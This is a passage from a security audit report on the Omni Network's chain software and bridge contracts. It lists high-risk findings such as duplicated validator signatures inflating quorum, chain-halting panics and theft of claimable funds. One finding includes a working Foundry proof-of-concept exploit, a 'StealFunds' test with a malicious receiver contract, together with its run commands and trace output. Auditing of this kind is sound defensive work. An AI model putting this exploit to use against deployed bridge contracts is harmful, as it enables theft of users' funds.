↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 24-10-25 15:35:16.024 DEBU  ABCI call: ExtendVote                height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 **********************ExtendVote()
2024-10-25 11:35:16 24-10-25 15:35:16.025 INFO Voted for rollup blocks                  votes=4 1652-4="[24
↪  25]" 1654-4=[16] 1654-1=[19] 1001651-4=[21]
2024-10-25 11:35:16 24-10-25 15:35:16.122 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 **********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 24-10-25 15:35:16.133 DEBU  ABCI call: VerifyVoteExtension       height=59
2024-10-25 11:35:16 2024/10/25 15:35:16 **********************VerifyVoteExtension(): block hash:
↪  0x81cd0e53379376f56384ea8c56656b286c55d2e81dcb673fb90deae5eaad0599, height: 59
2024-10-25 11:35:16 2024/10/25 15:35:16 ****************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Keeper::Add()
2024-10-25 11:35:16 24-10-25 15:35:16.142 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=149 existing_valset_id=15 vote_valset_id=16 chain=mock_l1|L attest_offset=27 sigs=1
2024-10-25 11:35:16 24-10-25 15:35:16.142 DEBU Marked local votes as committed          votes=5 1654=[15]
↪  1001651=[20] 1652=[23] 1651="[25 25]"
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::SetCommitted()
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Octane::msgServer::ExecutionPayload()
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::runOnce(): height: 58,
↪  AttestInterval: 5
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xd0e12ba1b20781e3a8c37ff4a0686247139e7c5916783ce255c2354ba41f4fc7
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Octane::msgServer::ExecutionPayload():
↪  LocalAddress --> 0x08585C0c34Ef84F7638c797DE454e287a051874E
2024-10-25 11:35:16 24-10-25 15:35:16.153 DEBU Delivered evm logs                       height=57 count=0
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Attest::Keeper::Approve()
2024-10-25 11:35:16 24-10-25 15:35:16.153 DEBU  Approved attestation                chain=omni_evm|L
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU  Approved attestation                chain=omni_evm|F
↪  attest_offset=25 height=56 hash=d133c13
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=23 height=84 hash=b2c434e
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU  Approved attestation                chain=mock_l1|F
↪  attest_offset=24 height=86 hash=62fb162
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=15 height=86 hash=17d4f94
2024-10-25 11:35:16 24-10-25 15:35:16.154 DEBU  Approved attestation                chain=omni_consensus|F
↪  attest_offset=20 height=20 hash=0000000
2024-10-25 11:35:16 2024/10/25 15:35:16 ******************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::TrimBehind()
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************ValSync::Keeper::Add(EndBlock)
2024-10-25 11:35:16 2024/10/25 15:35:16 **************************Voter::UpdateValidatorSet()
2024-10-25 11:35:16 24-10-25 15:35:16.155 INFO  Activating attested validator set     valset_id=19
↪  created_height=57 height=59
2024-10-25 11:35:16 24-10-25 15:35:16.156 DEBU hash of all writes
↪  workingHash=C9F34CE78D7EDF88855FA9E877367FA4B7D7547AED3DE065C62FF56176AD9C3E
2024-10-25 11:35:16 24-10-25 15:35:16.156 DEBU Starting optimistic EVM payload build    next_height=60
2024-10-25 11:35:16 24-10-25 15:35:16.158 DEBU  ABCI response: FinalizeBlock          height=59 val_updates=1
↪  pubkey_0=03e7453 power_0=105
```

```
2024-10-25 11:35:16 24-10-25 15:35:16.160 DEBU  ABCI call: Commit
```

3.1.5 Repeated Signature Exploit in Quorum Verification

Severity: High Risk

Context: Quorum.sol#L21-L53, OmniPortal.sol#L190

- Summary The `Quorum.verify` function in the OmniPortal contract allows the same validator's signature to be counted multiple times, enabling malicious validators to manipulate quorum requirements. This vulnerability can lead to unauthorized execution of cross-chain messages (XMsgs), compromising the security and integrity of the system.
- Finding Description The `Quorum.verify` function does not ensure that each validator's signature is only counted once. This allows a single validator to submit multiple identical signatures, artificially inflating their voting power.

```
  function verify(
    bytes32 digest,
    XTypes.SigTuple\[\] calldata sigs,
    mapping(address => uint64) storage validators,
    uint64 totalPower,
    uint8 qNumerator,
    uint8 qDenominator
  ) internal view returns (bool) {
    uint64 votedPower;
    XTypes.SigTuple calldata sig;

    for (uint256 i \= 0; i < sigs.length; i++) {
      sig \= sigs\[i\];

      if (i \> 0) {
        XTypes.SigTuple calldata prev \= sigs\[i \- 1\];
        require(sig.validatorAddr \> prev.validatorAddr, "Quorum: sigs not deduped/sorted");
      }

      require(\_isValidSig(sig, digest), "Quorum: invalid signature");

@=>     votedPower += validators\[sig.validatorAddr\];

      if (\_isQuorum(votedPower, totalPower, qNumerator, qDenominator)) return true;
    }

    return false;
  }
```

The `votedPower` is incremented without checking if the signature from `sig.validatorAddr` has already been processed, allowing duplicate counting.

- Scenario:

1. **Malicious Validator**: Validator A, acting maliciously, submits multiple identical signatures.
2. **Submission**: Validator A includes their signature three times in the `sigs` array.
3. **Verification**: The `verify` function counts each signature separately, artificially inflating the voting power.
4. **Quorum Manipulation**: Validator A achieves the required quorum threshold alone, allowing unauthorized XMsgs to be executed.

- Impact Explanation XMsgs that should not be authorized can be executed, potentially leading to unauthorized asset transfers or state changes.
- Recommendation Implement a mechanism to track processed validators and ensure each validator's signature is counted only once.

```
function verify(
    bytes32 digest,
    XTypes.SigTuple\[\] calldata sigs,
    mapping(address => uint64) storage validators,
+   mapping(address => bool) storage processedValidators,
    uint64 totalPower,
    uint8 qNumerator,
    uint8 qDenominator
) internal view returns (bool) {
    uint64 votedPower;
    XTypes.SigTuple calldata sig;

    for (uint256 i \= 0; i < sigs.length; i++) {
        sig \= sigs\[i\];

        if (i \> 0) {
            XTypes.SigTuple calldata prev \= sigs\[i \- 1\];
            require(sig.validatorAddr \> prev.validatorAddr, "Quorum: sigs not deduped/sorted");
        }

        require(\_isValidSig(sig, digest), "Quorum: invalid signature");

        // Check if the validator's signature has already been processed
+     if (!processedValidators\[sig.validatorAddr\]) {
            votedPower += validators\[sig.validatorAddr\];
+       processedValidators\[sig.validatorAddr\] \= true; // Mark as processed
        }
```

```
        if (\_isQuorum(votedPower, totalPower, qNumerator, qDenominator)) return true;
    }


    return false;
}
```

3.1.6 Panic can cause chain to halt

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

When executing a transaction, Cosmos automatically manages any panics using its default recovery middleware.

However, when it comes to the `EndBlock` & `BeginBlock` functions this is not the case. If any panics occur in these operations, it will cause all validators to panic & crash and the chain will be halted.

Unfortunately there is a small oversight inside the `BeginBlock` flow, that implements a panic feature:

- https://github.com/omni-network/omni/blob/8b5ff10aefa998d72ec1fbb587f0768a7aac690e/halo/registry/keeper/cache.go#L75

`sort.Slice` is used here which is a function derived from the `slice` package.

As per the sort.Slice library:

> Slice sorts the slice x given the provided less function. It panics if x is not a slice.

Ultimately if this panic triggers, the complete chain will be halted and all the validators will crash.

A similar finding has also been reported by Zellic which can be read here.

- Recommendation Replace the panic with an appropriate alternative

3.1.7 Unsafe mutation to `k.attTable` while iterating over it

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Relevant Context

The Omni protocol leverages Cosmos SDK's ORM library to manage its state, organiziting it into tables. A popular feature of this library is to provide developers with the abilty to define primary and secondary indexes to query their tables.

When requesting many elements from a table, the `List` method may be used to extract an `Iterator` for the table's elements.

The documentation for the `Iterator` type states:

> WARNING: it is generally unsafe to mutate a table while iterating over it. Instead you should do reads and writes separately, or use a helper function like DeleteBy which does this efficiently.

- Description

Within `AttestationKeeper.Approve` the function extracts an iterator over `k.attTable` by calling `k.attTable.List`.

When iterating ovrer the list with the provided iterator, the method was found to be mutating the table via `k.attTable.Update`, which clearly goes against the library's documentation.

```
func (k *Keeper) Approve(ctx context.Context, valset ValSet) error {
    defer latency("approve")()

    pendingIdx := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatus(uint32(Status_Pending))
    iter, err := k.attTable.List(ctx, pendingIdx) // AUDIT iterator is taken
    if err != nil {
        return errors.Wrap(err, "list pending")
    }
    defer iter.Close()

    approvedByChain := make(map[xchain.ChainVersion]uint64) // Cache the latest approved attestation offset by
↪   chain version.
    for iter.Next() {

        // snip

        // Update status
        att.Status = uint32(Status_Approved)
        att.ValidatorSetId = valset.ID
        err = k.attTable.Update(ctx, att) // AUDIT attTable is updated while being iterated over.
        if err != nil {
            return errors.Wrap(err, "save")
        }

        setMetrics(att)
        approvedByChain[chainVer] = att.GetAttestOffset()

        log.Debug(ctx, " Approved attestation",
            "chain", chainVerName,
            "attest_offset", att.GetAttestOffset(),
            "height", att.GetBlockHeight(),
            log.Hex7("hash", att.GetBlockHash()),
        )
    }

    // snip

    return nil
}
```

Notice that, the Cosmos SDK's Store documentation provides an in-depth explanation of how the `IAVL` library provides the core implementations for state storage and commitment.

The documentation also explains how `iavl.Store` is **not** thread safe and that the main issue with concurrent use is when data is written at the same time as it's being iterated over, like in the case presented above.

Furthermore, the documentation states the issue may be partially mitigated by setting `iavl-disable-fastnode = true` in the app's config TOML file, which Omni fails to do.

The same issue can be found within the `AttestationKeeper.deleteBefore` method, as it requests an iterator over a range from the `attTable` at L961 and then deletes elements from the table, while iterating over the iterator's elements, at L1013

- Recommendation

The protocol should write the changes to the elements of `k.attTable` to an in-memory data struct and `defer` flushing all elements to the table, in order to persist the writes to storage before returning from the `Approve` method for whichever reason.

In the case of deleted elements, the protocol may use the same approach as listed above or follow `Iterator`'s documentation and use the `DeleteBy` method.

3.1.8 User will loose omni while bridging tokens to Omni EVM , if "to" address is a non existing smart contract

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description In order to bridge `OMNI` tokens to Omni's EVM, the caller will call `OmniBridgeL1::bridge` function. The function accepts `to` address and the amount from the caller and builds `xcalldata` which is an instruction to call `withdraw` function on `OmniBridgeNative`.

In order to bridge, the caller first transfers the `Omni` ERC20 tokens from the user to the `OmniBridgeL1` as below. After pulling the ERC20 tokens, the call submits the `xcalldata` to Omni portal with sufficient gas fee.

But, the vulnerability lies in the `to` address passed by the caller. The low level function `call` will return success for a non existing smart contract.

https://github.com/kadenzipfel/smart-contract-vulnerabilities/blob/master/vulnerabilities/unsafe-low-level-call.md#successful-call-to-non-existent-contract

Hence, when the `withdraw` executes on the `OmniNativeBridge`, as the `to` address passed was of a non existent smart contract, the native omni tokens will not be transferred to the `to` address. As the low level `call` does not return false in this case, the claimable mapping will also not be updated for the caller.

Hence the tokens are lost for ever.

```
require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");
```

- Proof of Concept

OmniBridgeL1

```
function bridge(address to, uint256 amount) external payable whenNotPaused(ACTION_BRIDGE) {
        _bridge(msg.sender, to, amount);
}

function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
            ↪  amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
            ↪  insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
```

OmniBridgeNative

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
         external
         whenNotPaused(ACTION_WITHDRAW)
     {
         XTypes.MsgContext memory xmsg = omni.xmsg();

         require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
         require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
         require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

         l1BridgeBalance = l1Balance;

         (bool success,) = to.call{ value: amount }("");

         if (!success) claimable[payor] += amount;

         emit Withdraw(payor, to, amount, success);
    }
```

- Recommendation

3.1.9 Honest validator can be slashed

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description Inside `/halo/start.go`, the `start` function is responsible for starting the halo client. Within this function, `logPrivVal` is called.

```
func logPrivVal(ctx context.Context, privVal *privval.FilePV) {
    pk := privVal.Key.PubKey
    ethPK, err := ethcrypto.DecompressPubkey(pk.Bytes())
    if err != nil {
        return
    }

    log.Info(ctx, "Loaded consensus private validator key from disk",
        "pubkey", hex.EncodeToString(pk.Bytes()),
        "comet_addr", pk.Address(),
        "eth_addr", ethcrypto.PubkeyToAddress(*ethPK))
}
```


In this function, the public key gets decompressed by calling DecompressPubkey.

The issue is that if `DecompressPubkey` fails, it returns an error, but as we can see this error does not get handled inside `start`.

```
privVal, err := loadPrivVal(cfg)
if err != nil {
    return nil, nil, errors.Wrap(err, "load validator key")
}
=> logPrivVal(ctx, privVal)

db, err := dbm.NewDB("application", cfg.BackendType(), cfg.DataDir())
if err != nil {
    return nil, nil, errors.Wrap(err, "create db")
}
```

This means that the process will continue even though the ethereum public key will be non-existent.

Now whenever `EndBlock` is reached, `DecompressPubkey` is called again, but this time the error will be handled correctly.

```
func (k *Keeper) insertValidatorSet(ctx context.Context, vals []*Validator, isGenesis bool) (uint64, error) {
//..Omitted code
    pubkey, err := crypto.DecompressPubkey(val.GetPubKey())
=>  if err != nil {
        return 0, errors.Wrap(err, "get pubkey")
    }
//..Omitted code
}
```

This will cause `EndBlock` to fail.

Ultimately, this can result in loss of funds since the validators can be slashed for not meeting the network's performance requirements because `endBlock` will always fail.

- Recommendation handle a non-existent ethereum public key differently.

3.1.10 Upgrade not possible

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: If we read the Cosmos-SDK Docs:

```
Successful upgrades of existing modules require each AppModule to implement the function ConsensusVersion()
↪  uint64.

-    The versions must be hard-coded by the module developer.
-    The initial version must be set to 1.

Consensus versions serve as state-breaking versions of app modules and must be incremented when the module
↪  introduces breaking changes.
```

As we can see, the initial version **must** be set to **1**.

However, if we take a look `halo/attest/module/module.go`, we see that the version is set to **2**:

```
const ConsensusVersion = 2
```

Note that EVERY other `ConsensusVersion` is set to `1`, just as required, only this one is not.

This means that upgrading the module is not possible, nullifying the whole idea of having this project rollout in stages, since an upgrade to the protocol is not possible.

Recommendation: Set the initial version to `1`.

3.1.11 Xcall with arbitrary xmsg.sender can steal the claimable amount when withdraw() fails to send ether to the receiver

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `withdraw()` function `withdraws native OMNI to "receiver" address`. It tries to send the ether via a low-level call and if the ether transfer fails, the `claimable` mapping is updated, which allows claiming of the unclaimed funds via `claim()` function.

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
      ...
        /* @audit - claimable mapping, is set when the ether transfer fails, due to reverting receive()
↪   function, running out of gas, etc.*/
        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success); // @audit - attacker can observe failed withdrawals where
↪   success = false
    }
```

The `claim()` function, has no access control mechanism that verifies `xmsg.sender == address(l1Bridge)` or some other means of access control, this means that anyone can make `xcall` to the function. The logic of the `claim()` function has a major flaw, i.e attacker can set `xmsg.sender = any valid address with claimable amount` because there is no validity check or access control mechanism, which allows for stealing of funds.

```
    function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
        require(to != address(0), "OmniBridge: no claim to zero");

        @>>> address claimant = xmsg.sender; // @audit - any address with pending claimable ether could be
↪   passed to xcall for xmsg.sender
        require(claimable[claimant] > 0, "OmniBridge: nothing to claim");

        uint256 amount = claimable[claimant];
        claimable[claimant] = 0;

        (bool success,) = to.call{ value: amount }(""); // @audit - attacker steals funds
        require(success, "OmniBridge: transfer failed");

        emit Claimed(claimant, to, amount);
    }
```


- Proof Of Concept

Create a new file named `StealFunds.t.sol` and add it to `contracts\core\test\token`, the file path is necessary because it inherits `OmniBridgeNative_Test` from `contracts\core\test\token\OmniBridgeNative.t.sol` test file. This is necessary because the PoC uses `mockXCall` utility function provided by the team in test suite, that is utilized for testing the contracts across multiple test files by omni-team. For example: OmniBridgeNative.t.sol

`contracts\core\test\token\StealFunds.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.24;

import { OmniBridgeNative_Test, OmniBridgeNative } from "./OmniBridgeNative.t.sol";
import { console } from "forge-std/console.sol";

contract MaliciousReceiver {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    fallback() external {
        revert("MaliciousReceiver: NOT ALLOWED");
    }

    receive() external payable {
        revert("MaliciousReceiver: NOT ALLOWED");
    }
}
```

```
contract StealFundsFromOmniNativeBridge is OmniBridgeNative_Test {
    // @note- pending writeup
    MaliciousReceiver pwner_rec_contract = new MaliciousReceiver();

    function test_steal_funds_via_claim() public {
        address pwner = makeAddr("pwner");
        address alice = makeAddr("alice");

        address malicious_receiver = address(pwner_rec_contract);
        uint256 l1BridgeBalance = 100e18;
        uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

        vm.deal(alice, 10_000e18);
        assertEq(address(alice).balance, 10_000e18);
        assertEq(address(pwner).balance, 0);
        // vm.deal(address(pwner), 10_000e18);

        console.log("Balance of Bridge before alice calls withdraw: ", address(b).balance / 1 ether, "ether");
        console.log("Balance of Alice before calling withdraw: ", address(alice).balance / 1 ether, "ether");
        console.log("Balance of Pwner before stealing: ", address(pwner).balance / 1 ether, "ether");
        console.log("\n --- Alice submits a withdrawal Request ---");

        vm.expectEmit();
        emit OmniBridgeNative.Withdraw(alice, malicious_receiver, address(alice).balance, false);

        // @note - below xcall is one of the scenarios where the transfer of ether may fail (ex: missing
↪   callback, too much gas consumed, reverting callbacks)
        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(
                OmniBridgeNative.withdraw, (alice, malicious_receiver, address(alice).balance, l1BridgeBalance)
            ),
            gasLimit: gasLimit
        });

        console.log("\n --- Alice's withdrawal fails, setting claimable mapping ---\n");
        vm.prank(pwner);
        console.log("\n --- Pwner observers failed withdrawal and steals the funds ---\n");
        vm.expectEmit();
        emit OmniBridgeNative.Claimed(alice, pwner, address(alice).balance);

        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(alice),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.claim, (pwner)),
            gasLimit: gasLimit
        });
        assertEq(address(pwner).balance, 10_000e18);
        console.log("Balance of Pwner after stealing: ", address(pwner).balance / 1 ether, "ether");

        console.log("\n --- Alice tries claiming the funds, call reverts with 'OmniBridge: nothing to claim'
↪   ---\n");
        vm.expectRevert("OmniBridge: nothing to claim");
        vm.prank(address(alice));
        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: address(alice),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.claim, (alice)),
            gasLimit: gasLimit
        });
    }
}
```

Execute the command to run test:

- Change Directory in the root folder with:

```
cd contracts/core/
```

- Run the PoC

```
forge test --mt test_steal_funds_via_claim -vvvv
```

Results of Running the test

```
$ forge test --mt test_steal_funds_via_claim -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/token/StealFunds.t.sol:StealFundsFromOmniNativeBridge
[PASS] test_steal_funds_via_claim() (gas: 183591)
Logs:
  Balance of Bridge before alice calls withdraw:  100000000 ether
  Balance of Alice before calling withdraw:  10000 ether
  Balance of Pwner before stealing:  0 ether

 --- Alice submits a withdrawal Request ---

 --- Alice's withdrawal fails, setting claimable mapping ---


 --- Pwner observers failed withdrawal and steals the funds ---

  Balance of Pwner after stealing:  10000 ether

 --- Alice tries claiming the funds, call reverts with 'OmniBridge: nothing to claim' ---


Traces:
  [234754] StealFundsFromOmniNativeBridge::test_steal_funds_via_claim()
    [0] VM::addr(<pk>) [staticcall]
        [Return] pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f]
    [0] VM::label(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], "pwner")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]
    [0] VM::label(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], "alice")
        [Return]
    [271] OmniBridgeL1::XCALL_WITHDRAW_GAS_LIMIT() [staticcall]
        [Return] 80000 [8e4]
    [0] VM::deal(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 100000000000000000000 [1e22])
        [Return]
    [0] VM::assertEq(100000000000000000000 [1e22], 100000000000000000000 [1e22]) [staticcall]
        [Return]
    [0] VM::assertEq(0, 0) [staticcall]
        [Return]
    [0] console::log("Balance of Bridge before alice calls withdraw: ", 100000000 [1e8], "ether") [staticcall]
        [Stop]
    [0] console::log("Balance of Alice before calling withdraw: ", 10000 [1e4], "ether") [staticcall]
        [Stop]
    [0] console::log("Balance of Pwner before stealing: ", 0, "ether") [staticcall]
        [Stop]
    [0] console::log("\n --- Alice submits a withdrawal Request ---") [staticcall]
        [Stop]
    [0] VM::expectEmit()
        [Return]
     emit Withdraw(payor: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: MaliciousReceiver:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], amount: 100000000000000000000 [1e22], success: false)
     [98276] MockPortal::mockXCall(1, OmniBridgeL1: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x7bfe950c000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6000000000000000000000000005615deb7
↪  98bb3e4dfa0139dfa1b3d433cc23b72f000000000000000000000000000000000000000000000021e19e0c9bab2400000000000000
↪  0000000000000000000000000000000000000056bc75e2d63100000, 80000
↪  [8e4])
        [71888] TransparentUpgradeableProxy::withdraw(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  MaliciousReceiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e22],
↪  10000000000000000000 [1e20])
          [66928] OmniBridgeNativeHarness::withdraw(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  MaliciousReceiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e22],
↪  10000000000000000000 [1e20]) [delegatecall]
            [506] MockPortal::xmsg() [staticcall]
                [Return] MsgContext({ sourceChainId: 1, sender: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a })
```

```
            [161] MaliciousReceiver::receive{value: 10000000000000000000}()
                [Revert] revert: MaliciousReceiver: NOT ALLOWED
              emit Withdraw(payor: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: MaliciousReceiver:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], amount: 10000000000000000000 [1e22], success: false)
              [Stop]
            [Return]
          [Return] 72247 [7.224e4]
     [0] console::log("\n --- Alice's withdrawal fails, setting claimable mapping ---\n") [staticcall]
          [Stop]
     [0] VM::prank(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
          [Return]
     [0] console::log("\n --- Pwner observers failed withdrawal and steals the funds ---\n") [staticcall]
          [Stop]
     [0] VM::expectEmit()
          [Return]
     emit Claimed(claimant: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: pwner:
↪  [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], amount: 10000000000000000000 [1e22])
     [59608] MockPortal::mockXCall(1, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x1e83409a0000000000000000000000000d13781789acab73dfdce29003ea7f95cfd3260f, 80000 [8e4])
        [37238] TransparentUpgradeableProxy::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
          [36793] OmniBridgeNativeHarness::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
↪  [delegatecall]
            [506] MockPortal::xmsg() [staticcall]
                [Return] MsgContext({ sourceChainId: 1, sender: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6 })
            [0] pwner::fallback{value: 10000000000000000000}()
                [Stop]
            emit Claimed(claimant: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: pwner:
↪  [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], amount: 10000000000000000000 [1e22])
            [Stop]
          [Return]
        [Return] 37579 [3.757e4]
     [0] VM::assertEq(10000000000000000000 [1e22], 10000000000000000000 [1e22]) [staticcall]
          [Return]
     [0] console::log("Balance of Pwner after stealing: ", 10000 [1e4], "ether") [staticcall]
          [Stop]
     [0] console::log("\n --- Alice tries claiming the funds, call reverts with 'OmniBridge: nothing to claim'
↪  ---\n") [staticcall]
          [Stop]
     [0] VM::expectRevert(custom error 0xf28dceb3:  OmniBridge: nothing to claim)
          [Return]
     [0] VM::prank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
          [Return]
     [25677] MockPortal::mockXCall(1, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6],
↪  TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪  0x1e83409a00000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6, 80000 [8e4])
        [3258] TransparentUpgradeableProxy::claim(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
          [2797] OmniBridgeNativeHarness::claim(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
↪  [delegatecall]
            [506] MockPortal::xmsg() [staticcall]
                [Return] MsgContext({ sourceChainId: 1, sender: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6 })
            [Revert] revert: OmniBridge: nothing to claim
          [Revert] revert: OmniBridge: nothing to claim
        [Revert] revert: OmniBridge: nothing to claim
      [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms (457.00s CPU time)

Ran 1 test suite in 7.19ms (1.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

- Recommendation

I cannot think of a fix without changing a huge chunk of code, but my recommendation would be to add a access control mechanism or validity check of some sort For example: Only L1Bridge can call claim on behalf of a user.

```
+  require(xmsg.sender == address(l1Bridge),"OmniBridge: xmsg not from L1-Bridge");
```

3.1.12 Failed Withdrawal in OmniBridgeNative May Let Attacker Claim User Funds

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `withdraw()` function `withdraws native OMNI to "receiver" address`. It tries to send the ether via a low-level call and if the ether transfer fails, the `claimable` mapping is updated, which allows claiming of the unclaimed funds via `claim()` function.

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
      ...
        /* @audit - claimable mapping, is set when the ether transfer fails, due to reverting receive()
↪   function, running out of gas, etc.*/
        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success); // @audit - attacker can observe failed withdrawals where
↪   success = false
    }
```

The `claim()` function, has no access control mechanism that verifies `xmsg.sender == address(l1Bridge)` or some other means of access control. Take a look at Proof of Concept for attack flow and logs.

```
    function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
        require(to != address(0), "OmniBridge: no claim to zero");

        address claimant = xmsg.sender;
        require(claimable[claimant] > 0, "OmniBridge: nothing to claim");

        uint256 amount = claimable[claimant];
        claimable[claimant] = 0;

        (bool success,) = to.call{ value: amount }(""); // @audit - attacker steals funds
        require(success, "OmniBridge: transfer failed");

        emit Claimed(claimant, to, amount);
    }
```


- Proof Of Concept

Create a new file named `StealFunds.t.sol` and add it to `contracts\core\test\token`, the file path is necessary because it inherits `OmniBridgeNative_Test` from `contracts\core\test\token\OmniBridgeNative.t.sol` test file. This is necessary because the PoC uses `mockXCall` utility function provided by the team in test suite, that is utilized for testing the contracts across multiple test files by omni-team. For example: OmniBridgeNative.t.sol

`contracts\core\test\token\StealFunds.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.24;

import { OmniBridgeNative_Test, OmniBridgeNative } from "./OmniBridgeNative.t.sol";
